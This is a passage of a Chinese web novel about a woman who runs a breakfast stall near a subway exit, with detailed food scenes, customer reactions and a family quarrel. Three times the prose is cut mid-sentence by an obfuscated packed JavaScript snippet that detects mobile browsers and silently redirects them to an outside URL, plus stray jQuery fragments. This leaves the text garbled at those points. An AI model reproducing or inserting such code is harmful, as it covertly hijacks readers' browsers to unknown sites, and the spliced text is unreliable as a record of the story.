尧心蕊实在没有办法抵抗得住这样的香气,问她都有什么馅的包子,画春木告诉她有经典鲜肉包、酱香牛肉包、叉烧肉包、蟹粉肉包、羊肉胡萝卜肉包,素馅就有白菜香菇包、韭菜鸡蛋包、茄丁土豆泥包,尧心蕊只是听着就有点忍不住流口水~~
感觉每一种都会很好吃的哇!!
尧心蕊:“那我来一份蟹肉包,一份羊肉胡萝卜包,再有一份茄丁土豆泥包。打包带走。”
画春木于是就帮她把三种馅的包子装上,尧心蕊拿到以后先把包子装进她的包里,等到时候到了工位再吃,每次她都会早到十五分钟,十五分钟也确实够吃一顿早饭。
坐了五站地铁,到工位上时,包子还没凉,温热着的,先来一份肉包吧!尧心蕊咬了一口包子,里面的馅是蟹肉,蟹肉的味道特别地明显,咬一口她就得吸一口汁儿,不然汁水多得就要流出来了,蟹肉会带有一种微微的甘甜,鲜香美味。
“嗨!心蕊来了。你还没吃饭呢,我说怎么老远我就闻到了一股饭香味道。你在吃什么啊?”
“包子。”
“在附近买的吗?”
“不是。就在春岩路地铁口的一处早餐铺子买的,她们家还有很多其他类的早餐呢,小吃什么的都有,我还第一次买。”
“那好吃吗?反正闻着倒是很香。”
“实话说,超级香!我刚吃的是蟹肉味道的包子,但我给吃完了,你要想尝,我还有两个包子,分你一半。”
她的同事已经在家吃过饭,但还是有一点儿开始蠢蠢欲动起来,说:“好,我就尝一口就行,不吃多,我吃过饭来的。”
剩下两个口味的包子,她分别尝了一口,哇了一声,止不住赞叹道:“这是哪种馅的?有好奇特的味道啊,馅里沙沙糯糯的,但又不像是糯米,有股茄子和土豆的味道。”
尧心蕊点头:“对对!就是茄丁土豆泥味道,馅里面是有土豆泥和茄子沫的,这种口味的搭配真的好神奇啊,神奇的好吃,有点让我出乎意料了。”
“我也好惊喜,这种馅的我第一次吃,它里面的汁水刚好包裹住,一点儿不会腻,那家店的名字叫什么呀?”
尧心蕊:“叫春日早餐铺。是个档口,我以前不怎么吃早点,今天被三个包子彻底折服了!!你最喜欢哪个?”
“我没吃过其他馅,就刚刚那两个馅的,茄丁土豆泥包子最好吃!不过韭菜鸡蛋也好吃,是我目前在A市吃过的包子铺里,最好吃的一次韭菜鸡蛋,唉,就是我们上班不顺路,不然下回我也得买几个吃。”
“不顺路没事儿,我可以帮你带到这边来,下回你要是想要什么就跟我说。”
“那可太好了!不过等我哪回下班早了,专门到那边看看,转一转,万一还有别的好吃的呢,老板未免手艺太好,感觉吃了她做的食物,把我的嘴巴直接养刁了……”
二人你一言我一语地,讨论美食讨论得不亦乐乎。
早餐档口处,传来了切肉的声音。
那是画春木在把带着皮的卤肉剁碎了,然后把肉的瘦肉和肥肉以1:1的份量比例放进一块馍里,这样肉夹馍就完全做好了。
当然,先前她就会把所有原料准备好,五花肉,她则选取了前腿肉,加上大葱,生姜,酱油,料酒,还有花椒,桂皮等,把切好的大肉块儿腌入味儿,之后料酒焯水炖肉,五花肉会对她说:“要想做到卤肉一绝,最最重要的事就是炖的部分,我需要被炖得恰好时间,太软烂的话,会让肉没有弹性,炖得不烂就会不入味儿,哦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670082|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,忘了提醒你,每回腌我的时候,需要充分地按摩我,让我可以感受得到你对我的热情,用你的心来制作卤肉好吗?”
画春木在白吉馍的制作上,发酵和面然后再把面分成了8个剂子,经过层层严格的步骤最终将它放入饼胚,两面金黄色,饼就算做好了。
刚刚,一位要去面试的男子就要了一份肉夹馍和一个卤蛋,纯粹的肉夹馍是不夹青椒和卤豆皮的,画春木定的豪华版肉夹馍,就是有青椒和豆皮,是根据个人口味而定。
男子他就买了一份超豪华版,画春木开始为他加一些酱料。
男人只说:“所有小料都要。就在这里吃。”
画春木做好的肉夹馍递给他:“小心烫。”
“谢谢啊,还有卤蛋。”
餐齐了,齐予燃开始大口吃了起来,很大一份的肉夹馍,重辣的辣椒,有青椒和红油辣椒,口腔里面萦绕着的味道,不辣但很香,能够吃得到辣椒籽,豆皮也是卤的,而且会有一股十分醇厚的豆的酱气,猪肉肥瘦相间,带肉皮的地方尤其好吃。
没有一丁点的肥腻,食材完全利用发挥到了极致。
恰到好处,整体鲜香辣,肉皮一抿就化在了嘴巴里,齐予燃他原本面试紧张的心情忽然就被这样美味的食物治愈,变得放松起来…
他每吃一口,就会不住地发自内心的感叹一下:“哇~哇啊!这好吃啊!!老板,你家档口开多久了?”
“刚开不到一周,营业的话,是第二天。”
对方已经沉浸在了美食当中,半晌说不出一句话。
“老板,你做的肉夹馍真的一绝!太牛!根本不油气,再给我来一个吧,但我时间来不及,这份打包我路上吃。”
最基础的卤蛋肯定好吃,齐予燃不会想到这颗卤蛋居然也好吃爆棚!!于是又要了一份卤蛋,准备去面试的路上直接活力满满,感觉对今天的面试完全有了自信心。
画春木她旁边档口大婶看着她,问:“今天卖了多少?很厉害啊,新来的看你这边一直有人。”
档口有些就是连着的一片,苏大婶就是这边卖烧烤烤串类,烤鱿鱼啊,烤羊肉串啊,她一般是在中午或者晚上开铺子。
这不快到中午了,她就过来先收拾收拾需要准备的东西,就见画春木这里的客人一个接一个。
客人还可以,但来得时间比较密集,大概都在五点到八点左右,九点以后人就少了,其他时间,铺子内最受欢迎的食物就是肉烤肠和肉夹馍,肉夹馍的喜爱程度更深,几乎没有人会不被卤肉传来的味道所吸引住。
美食就是色香味俱全,而闻的味道会让感官十分灵敏,所以最先吸引到的客人们就是那股隐约的香味儿,画春木自己还没吃过肉夹馍,有点想吃,中午的时候,她就尝了一个。
一口留香,她吃的就是最普通的,只夹了肉,唇齿间都成了那个味道。
5. 第 5 章
画春木听到818系统开口:“宿主,如果做的饭吃了以后如果满意,就给本统打一个五星好评哦!本统会及时上线,哪怕不同食材每次的做法都会不一样,我与宿主你心连心,为了早餐铺更好的未来!”
这时,画春木的面前还真的出现了一个虚拟面板。
她帮系统打了五星。它出现以后,食材才会被她轻松读心。
凭借画春木一开始的做饭水准,绝对做不出如此美味的早餐,这点确实多亏了系统。
中午可以小憩一会儿,大概不到半个小时。
里间的一个折叠椅,可以让她得以放松不少,躺在那边睡一小阵,等到下午,这边的人流量依旧不少。
地铁口的人进进出出,有人停驻在档口这边,是个十分眼熟的身影……
原来是舅妈带着表妹在这边。
画春木第一眼居然还没认得出来,她望了望周边街道,发现有一辆白色轿车停在路旁,那就是原主舅妈的车。
表妹袁筱雨和她差了两岁半,画春木也没有想到他们会来。
一开始,他们并没看到画春木,还是表妹她先一人走过来,想买一根肉肠。
“筱雨,你到哪儿啊?”
“妈,我买根肠。”
“别去买那边的东西,小摊铺上的能干净吗?到这边办完事儿,我们下馆子去,这旁边不是有好多餐厅吗?”
这会儿舅妈颜李花走上前,才发现原来在这间早餐铺档口的老板竟会是画春木。
瞬间女人的眼睛里就含着一种假惺惺的笑:“春木,你怎么会在这种地方呀?”
以往画春木都是家里的小公主,想要什么就有什么,衣服包包啊更是随便买。
舅妈她家,虽然也算得上小康,但论富裕程度的话,一定是比不过段家的,因此书中的表妹袁筱雨就是那个常常被视作边缘对照组的那位。
因此舅妈颜李花就跟他们家不对付,更是不怎么从心眼里面喜欢画春木,如今看到画春木这副姿态出现在这里,发自内心地想笑。
当然,她也多少听说过他们家的事,不是看上去是什么模范家庭吗?之前还一股劲的夸她女儿多好多好,现在也听说他们家那烂摊子了,人啊,不对比不知道,一对比啊那优越性就瞬间出来了。
颜李花:“假的,终究是假的,还是成不了真。”
她嘴里面忽然秃噜了这么一句。
表妹袁筱雨:“妈,你说什么呢?”
“我说的意思啊,这肉肠不会是假货吧,我就怕这地方不干净。”
画春木解释:“这是纯肉肠舅妈,是我手工制作的,不会有问题。”
“是吗?我看着不像啊,你卖东西,你当然这么说了。话说回来,你还没有回答我为什么会待在这里?哦,你在开店。”
画春木一点儿不退让,说:“舅妈应该也听说那件事了吧?”
“哦,是有听你妈说过的,那他们可真把你赶出来了?哎呀,难道你们十几年的感情也不过如此,可你现在怎么混到这个地步了呀?他们连钱都不给你吗?”
亲生女儿段福姣回来,自然会将所有的事情全部都掌握在自己手中,画春木是她生活当中唯一的变量,她不能让画春木再回来。
所以段福姣借着父母对她的深深愧疚,不和画春木相见这点晓得要求他们还是能够满足自己的。
是的,她半分钱都不会给这个鸠占鹊巢多年的养女,不可能!
袁筱雨:“那我来一份肉肠吧。”
“买什么买呀?我不都说了吗?你难道想吃了肉肠直接拉肚子?筱雨,我们还是赶紧走吧。”
颜李花继续佯装着笑脸,整个人戴了面具般假,说:“春木,那个回见啊,要你到时真有什么困难,别人帮不了你,你可以找我,说不定舅妈能够帮你呢。”
颜李花准备离开,画春木:“舅妈。”
“啊春木,怎么了?”
“有时候说话还是要给对方留些余地才行啊,万一哪天脸打得生疼呢,是吧?舅妈。”
颜李花不言语了,以前的画春木可没现在这么伶牙利嘴的。
画春木不眼瞎,更不傻。
舅妈原本就一直不喜欢原主,她的境况跟他们家更没关系,颜李花索性不在装什么脸色了,听她说的这一番话,气哼哼地和袁筱雨直接坐车走了。
这会儿,两人上车。
袁筱雨坐在后座上,颜李花看着驾驶位上的袁子奉。
歪头对她老公说:“你都不知道,我刚刚遇见了谁。”
“啊?谁啊?”
“春木。”
“春木在这儿?”
“就那个地铁口旁边的一家早餐档口,那连成一片的档口里面就有画春木的店。”
“你说早餐?我刚刚确实看到了,在档口里面啊?”
“要我说,你姐他们真会瞒着你。”
“什么?”
“你可真是一问三不知。不知道他们养育了十多年的孩子,根本不是亲生的吗?”
袁子奉:“哦,这件事儿。”
“他们的亲生女儿早在三岁就失踪了,到处没有找到。我这大姑子和姑丈也有意思,去领养了一个养女,不就是画春木吗?为了面子,直接装成他们的亲生女儿还在。我说怎么看着那个春木,总感觉和我印象的小时候长得不大一样呢。”
袁子奉对此倒是理解:“这件事本来就是他们心底的痛,再说了,人家家事也不需要对我们说吧。”
“那是你觉得。咱家筱雨之前跟那个画春木天天对比成什么样了,也是不知道到头来居然会是这样。”
“春木成绩不好,没头没脑的,凭什么跟我们筱雨比?”
“那是你太多心,咱们家筱雨需要和人比吗?”
颜李花说道:“无形之中就在比较。况且之前又不是没发生过这种事。别忘了,我们是前两年才来的A市,你母亲对你和对你姐的态度,是你到这里才有了转变的。”
袁子奉摇了摇头:“你别再提。”
“到时候,你问问你姐,她到底知不知道这事儿?毕竟也是养了这么长时间的女儿,这时候到这边卖早餐怎么想的呀?”
袁子奉表达自己的意见,自然建议这件事先别说,他们保持沉默比较好。
颜李花听出他那意思就是要她管好自家,不要多管闲事罢了,偏偏很是不忿。
画春木这边则继续做她手头的工作,对于一些她根本无法沟通的人,或者对她不友好的人,她确实也没必要过多的理会,打对方脸最好的方式,就是等自己早餐摊真正做成功的那天。
这会儿,画春木一抬眼,看到一位女初中生模样的女孩朝档口里看,她在看菜单,画春木给她了一份菜单,胡茉莉说:“我以为这里只卖早餐,还有一些小食。”
“嗯,春日早餐铺,不仅卖早餐,还有各类小吃。看看想要买什么?”
胡茉莉刚刚下学,做地铁回来,就想买点好吃的。
“那我稍微看看,有手抓饼和炸鸡柳对吗?”
胡茉莉看了一阵,说:“这两个,我都来一份。你这里的小吃还挺丰富。一般都是专做一种食物的多啊。”
画春木:“对,但我这里也是专做早餐,剩下的小吃都是搭配着卖的,你看这里还有套餐之类的。套餐的价格会优惠些。”
“哦,好滴,我再看一会儿。”
胡茉莉:“就先买这两个吧。”
“好。”
于是画春木就开始做饭,昨天系统和她说过,等她卖够了500人以后,那么就有钱可以把一些锅具进行第一次的升级。
升级过后的锅具就能做出更加更美味的餐食。
当然了,系统原有的购物商城里面会有各式各样的锅具,这些锅具都独一无二,但她需要明确,如果她要做系统商城里买,也需要花费人民币兑换。
每天将近十个人到来,那也需要不少天才能够迎来第500位客人啊。
这样下去,档口的租金也是问题,所以画春木知道自己应该加紧步伐,所以她会继续研究一些新品,期望可以得到客人们的喜爱,画春木开始制作手抓饼。
手抓饼的饼皮口感应该是酥酥脆脆的,并且有一种千层的薄脆之感,所以对于做法的要求上,工艺就要更高。
可以选择的是肉的品类可以是奥尔良鸡排,也可以是培根,或者熏肉。
素菜是土豆丝和生菜。
这时,培根对画春木说:“一定要把我和酱料放在一起,这样才可以更加入味哦!”
生菜对她说:“我不能有一点水分,水分要控干,进入口腔的时候,会有上乘的丝滑之感……”
画春木一边做,边问:“想要什么酱料呀?有沙拉酱,番茄酱,黄豆酱,还有我自己做的一款辣酱。辣酱是用了五种辣椒制成的,再最后放上小米辣不停地翻炒,最终辣酱的味道还要画春木她自己把关才行。
胡茉莉想要辣酱的手抓饼,画春木点头,然后开始接下来的鸡柳制作。
就在油锅里面炸制前,鸡柳的周身依次裹满了淀粉、蛋液和面包糠,一个一个分散地丢进油锅之中,在油里面不停地扑腾翻滚着,直到两面全部金黄色,这时,鸡柳还是烫的,不能直接装进包装袋。而是将它全部捞出,控油,放进一个铁制的容器中,其余包括辣椒和孜然粉等料再一并地丢进去,一定要是撒进去的,均匀地让鸡柳翻滚均匀,晾了一分钟后,就做成了。
胡茉莉先吃了鸡柳。
“咔哧”一口,内里的鸡肉超级嫩,又特别醇香的滋味,鸡柳最后还会放上番茄酱,但这个是自行加,比较爱吃番茄酱的胡茉莉加了不少。
加入番茄酱,确实会有一股特别奇异的口感,搭配很神奇,但好吃是真。
原本以为鸡柳已经是她所吃过其他鸡柳的最棒的了,没有想到手抓饼才是吃完以后的心头好。
手抓饼是她之前没尝试过的辣酱味道,以往她常吃沙拉酱味儿的手抓饼。
这种拉酱吃起来没有十分明显的辣度,对于会吃辣的人来说,嘴巴可以感觉出来应该是3到4的辣度。
胡茉莉:“老板,你这拉酱能单独卖给我吗?我还没有吃过这么好吃的辣酱。”
“辣酱是不卖的。”
“太好吃了,我感觉你这里的酱,简直蘸鞋底子都好吃。”
一吃一个不吭声,胡茉莉一个人埋头苦吃,此时此刻的她,已经被辣酱的味道所淹没,在布满了辣椒的海里徜徉。
“小妹妹,你还挺能吃辣,辣酱的辣度不低呢。”画春木对她说。
“我觉得还好,我能吃辣。我家里人都挺喜欢吃辣,火锅辣油我都会喝的,不过这个辣酱真的又香又辣!特别合我的口味!!”
胡茉莉她有点无法再用语言形容出那种滋味来,手抓饼的饼皮非常酥脆,嘎嘣一下就能直接吞进口中,多重味蕾上的迸发,她好吃到直接闭上眼享受了。
等她走后,地铁口又走出了一批中学生,因为他们和刚刚那个女孩子的校服都一样,颜色和款式差不多。
他们来到画春木的档口时,她就十分随意地和他们聊天:“你们是上初几的呀?”
其中一位男孩子说:“我们都初二了。”
“想吃一点什么?”
“我要买那个鸡柳。”
其他人:“我也想买鸡柳,我们一共五个人,那就五份鸡柳。”
画春木:“都是大份小份?大份12块,小份7块。”
一个戴近视眼镜的男孩要了小份,另外的四人男生要了大份。
眼镜男孩:“大份多少,小份有多少呀?”
画春木解答他的困惑:“就我这样的包装袋,小份是这种,大份的这样,都会装满。”
“那就小份。”
眼镜男孩吃完了小份,整个人都吃迷糊,沉醉在了炸鸡的香味里,久久不能自拔,于是他又说:“我再要一份鸡柳,要大份。”
“好。还和刚刚一样,什么料都要。”
“对的姐姐。”
画春木于是又继续给她做了一大份的鸡柳,眼镜男孩舔了下嘴巴,说:“再给我一份吧,我打包带回家吃。”
旁边的他的一位西瓜头朋友听了,噗嗤一声笑他:“张瑞钱,你也吃太多了吧?”
张瑞钱:“我带回家当零食吃。再说,我刚刚就先吃的是小份,小份都不够我塞牙缝的呢。”
“你第二份都是大份了,我们都吃一份。”
“怎么?不允许我吃多吗?”
“你又吃,我就会馋。”
“那你再来一份吧。”
“最近我妈监督我减肥,我的肚子胖得不行,我可不能吃了。”
张瑞钱:“没办法,谁让鸡柳太好吃,我怕我忍不住,回家后悔。”
其他男生都有想要再点一份的冲动,理性最终遏制了这个念头,画春木把打包好的一份鸡柳递给了张瑞钱,说:“里头的这层是可以保温的,回去时间长,吃起来也是热的。”
男孩接过后,说了谢谢,然后五人就这样跳着跑着走了。
学生们就是有活力啊,穿越前的画春木是初中比较沉默不语的那款学生,有时,她就会和三两好友在一起,放学一起到外面的小吃摊上买点小食,最多吃的就是炸鸡柳。
还真是让人怀念啊……
哪怕是回到了家中,画春木一直研究新的菜单,以及怎样能够把各种食材发挥出最大的优势。
戚芙苓:“春木,你知道吗?倩文已经爱上了你做的饭,周末说要两天都要我家,因为她对你的美食彻底上瘾了。春木,你ok吗?”
画春木倒是乐意:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670083|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“当然可以啊。”
“这些天,你的生意如何?还顺利不?”
“还可以吧,至少每天都能开张。”
“倩文要是知道你开店,那肯定连工作都没心思了,就惦记着你的那口吃的。”
画春木:“有那么夸张?”
戚芙苓点头如捣蒜,说:“真的!你是没见,她一提到你做饭,眼睛都泛着光。”
然后,她又说,“春木,其实我觉得吧,美食这件事,味道最重要的。因为我前几天跟我的一位朋友一起约周末去玩,旁边查到一家餐厅,网上的评价都挺好,但线下一去吃,不是那么回事,而且不是我一个人的口味问题,我的那个朋友也说不好吃。”
“好的东西,其实口碑传起来,也是很快的,好坏吃一回就知道了。不好吃的话,有时候再宣传都没多大用,所以你开店,只要记住好吃就是第一要义。我的经验来说。我的意见不一定对,你可以听听。”
画春木也很清楚这点。
第二天,画春木发现自己的早餐铺还没开门,外边就等了两个人。
是一男一女,年纪大约都在中年,他们两人见有人到来,问这边大约几点开门。
画春木回答他们是在每天的5点半,之前还没有开门前就来客人的这种情况。
费山和杜兰麦是一对夫妻,在A市做点小买卖,共同经营一家服装店,一般早餐就在附近解决了。
她把卷帘门拉开,给了菜单让他们看。
看着两人并不眼熟,应该不是前几天的回头客,画春木开门后,一番收整。
就听他们两人开始对话,男人费山先说:“这家真好吃吗?”
杜兰麦:“昨天晚上不是给你看了吗?那个软件叫什么来着?啊呀,我忘了。”
费山:“反正就是软件里面的笔记,是有人说这里的一家早餐档口味道很不错。”
杜兰麦:“哦,对对,就是的。就是这家,肯定没错,你没看门头一样嘛。”
画春木很是好奇,于是拿出手机随便搜了下,果然看到有人的笔记推荐,标题:爆好吃级别的早餐铺,香香香!!
点赞已经过百,下面的一些评论她也看了,好多条都是说好吃的,可能之前来这里吃过的客人的评价。
感觉笔记应该就是有人自发发出的,想把美味的饭分享给别人。
女人问她这里的饭哪个最好吃。
画春木:“个人口味也许不同。我也不能自夸说都好吃,看您怎么选。”
对方又看了好几眼菜单,选择困难症,所以嘴里面一只说着:“嗯,你说吃啥好吗?这儿有包子油条、煎饼、鸡蛋饼,卤蛋,烤冷面,还有烤肠……”
画春木:“最近还有新添加的一款汤,肉丸汤。”
费山:“还有粥?”
“对。”
两人就是没法下定决心决定他们要买什么,画春木问他们想喝点还是吃点饼之类。
费山:“来点喝的吧,只吃干的也不行。”
杜兰麦:“肉丸汤,我想喝点闲得汤,就一碗吧,先尝尝味道。”
他们点完了餐,画春木她就开始做了起来。
有的食材需要一些原材料,都提前冻在了冰柜里面,里面的食物可以时刻保持新鲜。
像丸子的话,画春木就会自己做。
因为网上买到的丸子味道和真正手工做出来的并不完全一样,所以周六周日的时候,她就会在家里摆弄这些东西,做完了之后,就让朋友戚芙苓帮她试吃一下。
戚芙苓:“你做饭好吃,但你千万不要太累着了,这一刚开始还是要慢慢来,本来你只有两天的休息时间,别把时间都撑得满满当当的,不过你现在这个样子,看上去确实状态不错,之前我还觉得你离开了段家,会一直闷闷不乐,但我没有想到你能很快就找到了自己的方向,有时候我也真为你感到开心!”
她确实没必要为此失魂落魄的,因为她知道自己本不属于那里,何必再强求,现在的画春木更加焕发起精神来。
自己做带馅的丸子,猪肉、淀粉、盐,生抽等用料,虽然并不容易,但只要可以一步步把这些步骤给分解过后,那就可以轻松不少。
手工制成的丸子就更加弹嫩,要保证它的软和Q弹,画春木听到揉成的丸子的心声,它说:“常对我笑笑啊,只要这样,我的心情质量就会好。”
还能这样的吗?
画春木她只能满足它的要求,唇部对它扬起了一个十足的微笑。
但却把一旁等着试吃的戚芙苓给吓到了,她发现画春木一直冲着这些刚捏好的丸子们笑,就问她怎么了。
“芙苓,你有没有觉得这些丸子真的好可爱!所以就有点忍不住对它笑。”
戚芙苓虽不理解,但仍旧附和她:“确实,一个圆圆的小小的,是挺可爱。”
平时看到的肉丸都是静止待在原地,但能听到它们心声的画春木,甚至在观感上面,它们也是会动的。
捧在手心,一只小丸子。其实很有趣,而且软软的呢。
“春木,这里需要我帮你吗?我不会做饭,但可以帮你打下手。”
“暂时不需要,我做好了丸子汤,就会叫你。”
“好呀好呀,我就等着吃呢。没办法啊,我现在肚子里面的馋虫都被你给勾出来了,我现在就想知道它的味道如何了。”
肉丸汤在做的时候,做法可有一番讲究的,手工肉丸做好以后,再放入已经熬制的一锅非常浓郁的鸡汤里面,然后加入白胡椒,还有各种的秘制调料,当然,所有调料的味道都偏淡,这样才不会冲淡汤汁和肉丸本身的滋味。
出锅,就再需要放上一些香菜和葱花即可,杜兰麦:“哇,什么味道这么香!就是肉丸汤的味道吗?”
画春木端上桌,女人感叹一句:“哎呀,这一碗,行,那我们尝尝先。”
闻起来就香,肉丸通身粉色,色泽很好看,吃进嘴巴里,肉丸里面的汁水太过丰盈了,导致一吃,只是咬了一小口,汁水差点溅了出来,吃口丸子,再和一口汤,简直鲜得不得了。
这和当时戚芙苓试吃的时候一样,女人惊得瞪大了双眼,说:“这汁水好足啊。”
“还有白胡椒的味道,和肉丸很搭。”
听她这样说,费山也尝了口,一尝就彻底收不住,一口又一口。
杜兰麦:“你别喝完了啊,给我留点啊。”
“刚还迷糊着呢,没睡醒,现在,一下就清醒了!”
这一碗,他们两人很快就喝了个精光,后来只好又点了两份。
杜兰麦:“这回我们俩一人一碗,你可别跟我抢了。”
“我才不会跟你抢,自己个儿喝自己个儿的。”
他们后来买的所有份数都是两份,不然,两人估计就会为了一份食物,吵起来不可。
6. 第 6 章
这才一会儿不见的工夫,画春木就卖出了两份油条、两份包子和两份手抓饼还有三份肉丸汤,一下子就进账了54块钱。
一人一份分开吃以后,两个人就变得平静下来,陷入了美食的漩涡里面,不会再因为它而争抢。
画春木看着他们吃东西的时候,脸上就会洋溢着幸福感,心里也会感到开心。
然后,画春木发现她在刚刚随手点开的那条笔记,点赞数量又在增加,可能是因为给了流量,就一下子就增加到200多个点赞。
她在下面看到了一些新增的评论,有个id你好是我的人在底下问:“哪个地段啊?是在春岩路吗?”
id哈哈哈哈哈:“是的。”
“哦。就跟我这边隔着一条街。主要最近生病以后做了一个小手术,医生告诫我不能吃一些重口味的,必须吃清淡的,附近都找不到好吃的店。”
“那我推荐你可以尝试去,那边什么口味的都有,就算看上去清淡的东西也特别好吃,你去试试就知道,包满意的!”
……
划拉完评论的画春木,看见两口子朝她十分热情地说再见。
杜兰麦:“老板,走了走了!下回我们还来。”
费山:“是啊!你这儿东西好吃,赶明儿继续来你这里。”
和画春木打完了招呼后,两人一边走边道:“下次再来尝尝别的吧。”
“对呀,老板她不是还说什么还会时不时地研究新品吗?我感觉她做的什么都好吃,要过来吃早餐,我昨儿个晚上一定得吃少点,腾出来肚子。”
他们很少能在某件事情彻底达成一致的想法。
“哎呀,我没问题啊,主要她这量大还很便宜,在A市中心区域位置,这样的价格真的算很良心了。”
“可不是,之前我在一家店买过粥,一碗量特别少的粥,你猜多少钱?30块。里头料少,我点一份粥,一个饼,就50块打不住。”
他们说着说着,就渐渐地走得远了,等过半小时后,又来了三位客人。
他们按照来的顺序直接在这边排队,第一位排队的男客人说:“老板,老板,这儿有没有最清淡的早餐?就没辣椒的那种。”
画春木:“多数都是比较清淡的菜,有加辣的也可以做成不加辣的,完全没问题,可以看看菜单。”
男人看着店内的原屉蒸笼,外边热气袅袅,于是先点了两个包子。
他要了两个素的菜包,白菜香菇和茄丁土豆泥馅料的包子,又来了一只卤鸡腿。
男人看了又看菜单,问:“再来桂花粥一份,桂花粥不甜吧?不想要甜的。”
“不甜。”
看上去十分朴素,又平平淡淡的一餐,在评论区得到解答的他倒要看看这种档口早餐铺,究竟能不能合他口味,不一阵,餐台上就被端上了一碗粥。
蔡呈翔于是便开始吃了起来,桂花粥整体呈现一种淡淡的茶色,带有琥珀般的澄澈,内里会有些许浮在上面的小芝麻,上边金黄金黄的,闪着璀璨金光。
蔡呈翔问画春木:“老板,这粥里上面撒的是什么啊?”
画春木:“是杏仁碎。”
桂花粥和肉丸汤都是她近期刚出的新品,她每回都需要多尝试几遍,食材味道倒是没什么问题,但关键在于食材的选取,这点尤为重要。
闻着确实挺香,就不知道吃着怎么样,美食讲究的就是色香味俱全,果然粥的味道不甜,后味的时候会有一股非常独特的桂花的香气,但不会很重,本身的甘香气十足,杏仁碎也不会冲淡其中的味道,特别清透的粥底,沁人心脾的香,徐徐地进入他的口腔当中,像是被洗涤了的灵魂。
搭配杏仁碎,简直彻底地打开味蕾,就像打通身体的任督二脉,会在吞下去那刻,身心的舒畅……
勺子搅上一搅,浓稠的汤会有些许粘度,黏着在了勺子的边缘处,它都染上了一层清亮的粥的颜色。
包子外形小巧,非常圆润,吃下一口皮薄馅大,好吃到他有点想要忍不住地流泪,卤鸡腿十分入味,鸡腿的肉不柴也不老,反而肉质极其松软,鸡皮嘶溜一下直接脱了下来,卤的味道浸透在了骨髓当中,谁说清淡的饭不好吃的?
这一餐居然会让他感到出乎意料地好吃,而且鸡肉也吃起来一点都不油,特别干净的口感,链接上边的鸡脆骨,甚至都有滋味特别足,现在,他把鸡肉吃完,恨不得直接把骨头都给吞咽下肚。
一股股扑面的香味儿,全然无法忍受住,这家档口的好吃程度可以说是让他眼前一亮的,真的毫不夸张的美味……
鸡肉剥离下骨头时,都是一丝一丝的,只要自己真心体会一番,才能清楚这顿早餐到底有多好吃了。
第二个客人在准备点餐时候,排在第三位的客人汪思荃直接摸出手机,接听响起来的电话。
“对,我这边是7点整需要约见一位客户,那我约您在明早的八点好吧,南街道的一家咖啡厅。那明天见!”
汪思荃低头看了一眼手表,等第二位排在他前面的客人买好东西,这才对画春木说:“老板,这里一般做早餐快吗?”
“煎饼和鸡蛋饼会慢一些,大概不超过五分钟。”
“那来一份肉夹馍,一份酱鸡肉卷饼。”
酱鸡肉卷饼最好做,因为这些饼皮只需要烙上大约2分钟,再搭配一些鸡丝和黄瓜和胡萝卜丝,酱采用的是甜面酱,面酱的味道和鸡丝味道最搭,她把在一个木罐子里装有的甜面酱抹在了鸡肉表面,再放入一点些许地葱花和洋葱的碎末,还有一些蒜泥。
再把辣油均匀地浇在上边,卷饼整个裹上以后,汪思荃接过了饼就吃了起来。
他吃得速度比较快,为了赶时间,这边手机上还不停地回着消息,一刻也很难歇得下来。
卷饼的料从第一口开始,里面夹的各种肉菜和料吃了满口,虽然很是焦急,但他还是品出了卷饼的独特味道,加上了甜面酱的感觉,居然会是这样的奇妙啊!
简直绝了,汪思荃每吃一下,都是对他舌尖上的友好哇……
这美味已经形容不出,他感到任何的溢美之词都能用在这个卷饼身上,但真正到了说出口的赞美之词,就又感到了一种词汇贫乏,吃着吃着,汪思荃对这次的设计的活动海报忽然来了灵感。
原本就要对接行业客户的他,就要满足品牌方的诸多要求。
鸡肉卷饼竟然一下开阔了他的思路,汪思荃就把脑袋里面想到的设计好的广告词,记在了他的手机便签中。
灵感不断,美食的力量果然真的强大啊。
此刻的他,唇齿留香。
正是由于过分的好吃,刺激了他,这才致使他得以源源不断想出一些好的设计广告词。
再想吃一口的时候,他忽然就咬住了自己衬在袋子外面的手指,他意识的自己已经吃完了。
看来,等下次自己没有灵感的时候再过来吃一顿饭就解决了。
很少的时候,汪思荃会在吃饭时候露出十分夸张的表情,却在刚刚,差点各种表情包轰炸,他终于能够理解为什么网上说的春日早餐铺超级无敌好吃,多么真实,其实说得还是不对,应该说是非常超级无敌特别爆炸地好吃才行。
第二位是个女性顾客,她就一直非常沉默地享受
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670084|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着美食。
秦荞之所以到这里,并不是因为网上的那份笔记,而是附近居民区的一位赵婶跟她说的。
